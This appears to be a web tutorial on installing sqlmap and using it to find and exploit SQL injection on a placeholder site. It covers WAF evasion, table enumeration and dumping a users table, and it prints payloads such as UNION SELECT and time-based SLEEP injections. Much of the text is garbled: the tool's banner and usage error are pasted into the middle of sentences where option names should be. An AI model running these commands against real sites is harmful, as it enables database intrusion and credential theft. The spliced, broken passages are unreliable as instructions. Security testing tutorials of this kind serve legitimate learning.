Sqlmap is a python based tool, which means it will usually run on any system with python. However, we like Linux and specifically Ubuntu, it simply makes it easy to get stuff done. Python comes already installed in Ubuntu. This is the same tool we use on our online sql injection test site.
To get started with sqlmap, it is a matter of downloading the tool, unpacking it, and running the command with the necessary options. As there may be Windows users amongst you, I'll first start with how to get an Ubuntu install up and running. It is easy to get started on an Ubuntu Linux system, even if the thought of Linux sends shivering spasms of fear. Who knows, you may even like it.
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Install SQLmap
Step 1: Get a Linux based Operating System
If you are going to run SQLmap on Windows with Python, make sure you have Python installed, and skip down to the next step. Otherwise, get your Linux system fired up. Either install a Linux virtual machine (Ubuntu or Kali recommended) on Windows (Virtualbox / VMware / Parrallels) or boot up your Linux desktop.
If you run Microsoft Windows as your main operating system, it is convenient and simple to run an install of Ubuntu Linux (or Kali Linux) in a virtual machine. You can then play with sqlmap, nmap, nikto and openvas along with a hundred other powerful open source security tools.
Step 2: SQLmap Installation
Python is pre-installed in Ubuntu, so all you need to do is clone the latest repository from git and start your testing.
elliot@evilcorp:~$ git clone --depth 1 //github.com/sqlmapproject/sqlmap.git sqlmap-dev Cloning into 'sqlmap-dev'... remote: Counting objects: 633, done. remote: Compressing objects: 100% (602/602), done. remote: Total 633 (delta 170), reused 171 (delta 20), pack-reused 0 Receiving objects: 100% (633/633), 7.17 MiB | 2.44 MiB/s, done. Resolving deltas: 100% (170/170), done.Change into the directory and run the python script to ensure all looks good.
elliot@evilcorp:~$ cd sqlmap-dev elliot@evilcorp:~/sqlmap-dev$ python sqlmap.py __H__ ___ ___[']_____ ___ ___ {1.5.2.12#dev} |_ -| . ['] | .'| . | |___|_ ["]_|_|_|__,| _| |_|V... |_| //sqlmap.org Usage: python sqlmap.py [options] sqlmap.py: error: missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --list-tampers, --wizard, --update, --purge-output or --dependencies), use -h for basic or -hh for advanced helpIf you do not see something like the output above, make sure python is working, try python -V to check the version and you are in the right location. Now lets move on, this was the easy part.
To get a full list of the options available run elliot@evilcorp:~$ cd sqlmap-dev
elliot@evilcorp:~/sqlmap-dev$ python sqlmap.py
__H__
___ ___[']_____ ___ ___ {1.5.2.12#dev}
|_ -| . ['] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| //sqlmap.org
Usage: python sqlmap.py [options]
sqlmap.py: error: missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --list-tampers, --wizard, --update, --purge-output or --dependencies), use -h for basic or -hh for advanced help0.
To show advanced help and options available run elliot@evilcorp:~$ cd sqlmap-dev
elliot@evilcorp:~/sqlmap-dev$ python sqlmap.py
__H__
___ ___[']_____ ___ ___ {1.5.2.12#dev}
|_ -| . ['] | .'| . |
|___|_ ["]_|_|_|__,| _|
|_|V... |_| //sqlmap.org
Usage: python sqlmap.py [options]
sqlmap.py: error: missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --list-tampers, --wizard, --update, --purge-output or --dependencies), use -h for basic or -hh for advanced help1
Running SQLmap
Simple HTTP GET based test
In this simple test we will use a standard elliot@evilcorp:~$ cd sqlmap-dev elliot@evilcorp:~/sqlmap-dev$ python sqlmap.py __H__ ___ ___[']_____ ___ ___ {1.5.2.12#dev} |_ -| . ['] | .'| . | |___|_ ["]_|_|_|__,| _| |_|V... |_| //sqlmap.org Usage: python sqlmap.py [options] sqlmap.py: error: missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --list-tampers, --wizard, --update, --purge-output or --dependencies), use -h for basic or -hh for advanced help2 based request against a URI with a parameter (?id=5). This will test different SQL injection methods against the elliot@evilcorp:~$ cd sqlmap-dev elliot@evilcorp:~/sqlmap-dev$ python sqlmap.py __H__ ___ ___[']_____ ___ ___ {1.5.2.12#dev} |_ -| . ['] | .'| . | |___|_ ["]_|_|_|__,| _| |_|V... |_| //sqlmap.org Usage: python sqlmap.py [options] sqlmap.py: error: missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --list-tampers, --wizard, --update, --purge-output or --dependencies), use -h for basic or -hh for advanced help3 parameter.
python sqlmap.py -u '//mytestsite.com/page.php?id=5'In the results we can see the different methods used against the parameter.
___ __H__ ___ ___[']_____ ___ ___ {1.5.2.12#dev} |_ -| . ['] | .'| . | |___|_ ["]_|_|_|__,| _| |_|V... |_| //sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 12:55:56 [12:55:56] [INFO] testing connection to the target URL [12:55:57] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS [12:55:58] [INFO] testing if the target URL content is stable [12:55:58] [INFO] target URL content is stable [12:55:58] [INFO] testing if GET parameter 'id' is dynamic [12:55:58] [INFO] confirming that GET parameter 'id' is dynamic [12:55:59] [INFO] GET parameter 'id' is dynamic [12:55:59] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL') [12:56:00] [INFO] testing for SQL injection on GET parameter 'id' it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y [12:56:16] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [12:56:18] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="hac") [12:56:18] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)' [12:56:19] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)' [12:56:19] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)' [12:56:19] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)' [12:56:20] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)' [12:56:20] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)' [12:56:21] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [12:56:21] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [12:56:21] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' [12:56:22] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' [12:56:22] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)' [12:56:22] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)' [12:56:23] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [12:56:23] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)' [12:56:24] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)' [12:56:24] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)' [12:56:25] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)' [12:56:25] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)' [12:56:25] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)' [12:56:26] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)' [12:56:26] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)' [12:56:27] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)' [12:56:27] [INFO] testing 'MySQL inline queries' [12:56:27] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)' [12:56:28] [INFO] testing 'MySQL > 5.0.11 stacked queries' [12:56:28] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP - comment)' [12:56:28] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP)' [12:56:29] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)' [12:56:29] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)' [12:56:30] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind' [12:56:41] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind' injectable [12:56:41] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [12:56:41] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [12:56:41] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test [12:56:43] [INFO] target URL appears to have 3 columns in query [12:56:46] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n sqlmap identified the following injection point(s) with a total of 53 HTTP(s) requests: --- Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1 AND 9561=9561 Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: id=1 AND SLEEP(5) Type: UNION query Title: Generic UNION query (NULL) - 3 columns Payload: id=-6630 UNION ALL SELECT NULL,CONCAT(0x7178786271,0x79434e597a45536f5a4c695273427857546c76554854574c4f5a534f587368725142615a54456256,0x716b767a71),NULL-- mIJj --- [12:56:52] [INFO] the back-end DBMS is MySQL web application technology: Nginx, PHP 5.3.10 back-end DBMS: MySQL >= 5.0.12 [12:56:52] [INFO] fetched data logged to text files under '/home/elliot/.sqlmap/output/mytestsite' [*] shutting down at 12:56:52Getting blocked by the Web Application Firewall - WAF
Try using a different user agent then the default sqlmap with the elliot@evilcorp:~$ cd sqlmap-dev elliot@evilcorp:~/sqlmap-dev$ python sqlmap.py __H__ ___ ___[']_____ ___ ___ {1.5.2.12#dev} |_ -| . ['] | .'| . | |___|_ ["]_|_|_|__,| _| |_|V... |_| //sqlmap.org Usage: python sqlmap.py [options] sqlmap.py: error: missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --list-tampers, --wizard, --update, --purge-output or --dependencies), use -h for basic or -hh for advanced help4 parameter.
elliot@evilcorp:~/sqlmap-dev$ python sqlmap.py -u "//mytestsite.com/page.php?id=5" --random-agent ___ __H__ ___ ___[,]_____ ___ ___ {1.5.2.12#dev} |_ -| . [.] | .'| . | |___|_ [)]_|_|_|__,| _| |_|V... |_| //sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 14:14:04 /2019-11-01/Retrieve the Database Tables
SQLmap can be used to test and exploit SQL Injection, doing things such as extracting data from databases, updating tables, and even popping shells on remote hosts if all the ducks are in line.
Let's retrieve the tables from the database using the SQL Injection vulnerability we confirmed above. As you will see in the output below, we can continue testing against the target without having to retest the vulnerability. SQLmap uses information it knows about the site to further exploit the target database.
To retrieve data we simply add a parameter to the previous command. By adding elliot@evilcorp:~$ cd sqlmap-dev elliot@evilcorp:~/sqlmap-dev$ python sqlmap.py __H__ ___ ___[']_____ ___ ___ {1.5.2.12#dev} |_ -| . ['] | .'| . | |___|_ ["]_|_|_|__,| _| |_|V... |_| //sqlmap.org Usage: python sqlmap.py [options] sqlmap.py: error: missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --list-tampers, --wizard, --update, --purge-output or --dependencies), use -h for basic or -hh for advanced help5 we can attempt to retrieve all the tables.
elliot@evilcorp:~/sqlmap-dev$ python sqlmap.py -u '//mytestsite.com/page.php?id=5' --tables ___ __H__ ___ ___[']_____ ___ ___ {1.5.2.12#dev} |_ -| . ['] | .'| . | |___|_ ["]_|_|_|__,| _| |_|V... |_| //sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 12:59:04 [12:59:04] [INFO] resuming back-end DBMS 'mysql' [12:59:04] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1 AND 9561=9561 Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: id=1 AND SLEEP(5) Type: UNION query Title: Generic UNION query (NULL) - 3 columns Payload: ud=-6630 UNION ALL SELECT NULL,CONCAT(0x7178786271,0x79434e597a45536f5a4c695273427857546c76554854574c4f5a534f587368725142615a54456256,0x716b767a71),NULL-- mIJj --- [12:59:05] [INFO] the back-end DBMS is MySQL web application technology: Nginx, PHP 5.3.10 back-end DBMS: MySQL >= 5.0.12 Database: books [8 tables] +---------------------------------------+ | author | | shoppingcarts | | categories | | featured | | guestbook | | pictures | | products | | users | +---------------------------------------+ Database: information_schema [28 tables] == snipped == +---------------------------------------+ | CHARACTER_SETS | | COLLATIONS | | COLLATION_CHARACTER_SET_APPLICABILITY | | COLUMNS | | TRIGGERS | | USER_PRIVILEGES | | VIEWS | +---------------------------------------+ [12:59:21] [INFO] fetched data logged to text files under '/home/elliot/.sqlmap/output/mytestsite.com' [*] shutting down at 12:59:21Dump the data
To get data we simply extend our command. Adding elliot@evilcorp:~$ cd sqlmap-dev elliot@evilcorp:~/sqlmap-dev$ python sqlmap.py __H__ ___ ___[']_____ ___ ___ {1.5.2.12#dev} |_ -| . ['] | .'| . | |___|_ ["]_|_|_|__,| _| |_|V... |_| //sqlmap.org Usage: python sqlmap.py [options] sqlmap.py: error: missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --list-tampers, --wizard, --update, --purge-output or --dependencies), use -h for basic or -hh for advanced help6 will focus in on the users table where we might be able to get some credentials. Adding elliot@evilcorp:~$ cd sqlmap-dev elliot@evilcorp:~/sqlmap-dev$ python sqlmap.py __H__ ___ ___[']_____ ___ ___ {1.5.2.12#dev} |_ -| . ['] | .'| . | |___|_ ["]_|_|_|__,| _| |_|V... |_| //sqlmap.org Usage: python sqlmap.py [options] sqlmap.py: error: missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, -x, --list-tampers, --wizard, --update, --purge-output or --dependencies), use -h for basic or -hh for advanced help7 will tell SQLmap to grab all the data from the users table, first the columns will be enumerated and then the data will be dumped from the columns.
elliot@evilcorp:~/sqlmap-dev$ python sqlmap.py -u '//mytestsite.com/page.php?id=5' --tables ___ __H__ ___ ___[']_____ ___ ___ {1.5.2.12#dev} |_ -| . ['] | .'| . | |___|_ ["]_|_|_|__,| _| |_|V... |_| //sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting at 12:59:04 [12:59:04] [INFO] resuming back-end DBMS 'mysql' [12:59:04] [INFO] testing connection to the target URL sqlmap resumed the following injection point(s) from stored session: --- SNIP ----- Database: users Table: users [1 entry] +----------+----------------------------------+------+-------+---------+------------------------+-----------------+ | name | cart | pass | user | phone | email | address | ----------+-----------------------------------+------+-------+---------+------------------------+-----------------+ | Elliot | 55207107sfefsff8e7f2fa5ef4fa00f6 | test | test | 4563454 | fake@testtest.com | | +----------+----------------------------------+------+-------+---------+------------------------+-----------------+ [13:08:36] [INFO] table 'users' dumped to CSV file '/home/fred/.sqlmap/output/mytestsite/dump/books/users.csv' [13:08:36] [INFO] fetched data logged to text files under '/home/fred/.sqlmap/output/mytestsite' [*] shutting down at 13:08:36SQLmap Tips - Go ninja on your SQL Injection Testing
Verbose output
When testing for SQL Injection, it is often necessary to dig into the requests manually to determine problems with the test or to confirm or even further exploit a discovered injection. Being able to increase the verbosity of your SQLmap output will help with this testing.
By increasing the verbosity to 4 you can get the HTTP requests, with 5 you also see the HTTP response headers, and 6 will show the full HTTP response. Obviously, this can get super noisy but sometimes you need to see what is happening.
Got Database Credentials?
This handy tip allows you to connect to the database directly and dump data such as users, databases, or tables. The nice thing about this is you don't have to remember the SQL syntax for the database or have a client installed. SQLmap will do the heavy lifting acting as a Database Client to dump data.
DB Connection strings:
MySQL, Oracle, Microsoft SQL Server, PostgreSQLDBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAMESQLite, Microsoft AccessDBMS://DATABASE_FILEPATHPopping Shells and More
SQLmap has a ridiculous number of options, and is an amazing tool for becoming one with a database. Apart from popping shells on the target host, you can send requests through tor, find injections in page responses automatically, spider sites and, of course, perform HTTP POST based testing. These examples merely scratch the surface. Find more examples on the excellent github wiki page.